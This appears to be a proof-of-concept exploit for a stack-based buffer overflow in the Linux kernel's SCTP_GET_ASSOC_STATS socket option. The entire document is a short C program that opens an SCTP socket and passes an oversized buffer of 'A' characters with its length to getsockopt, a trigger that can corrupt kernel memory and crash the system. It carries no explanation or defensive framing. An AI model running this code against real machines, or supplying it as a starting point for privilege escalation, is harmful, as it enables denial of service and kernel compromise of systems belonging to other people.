Linux Kernel 'SCTP_GET_ASSOC_STATS()' - Stack-Based Buffer Overflow

#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define SCTP_GET_ASSOC_STATS 112
#define SOL_SCTP 132

int main(void)
{
 char *buf = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
 socklen_t len = strlen(buf);
 int fd;

 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
 getsockopt(fd, SOL_SCTP, SCTP_GET_ASSOC_STATS, buf, &len);
 return 0;
}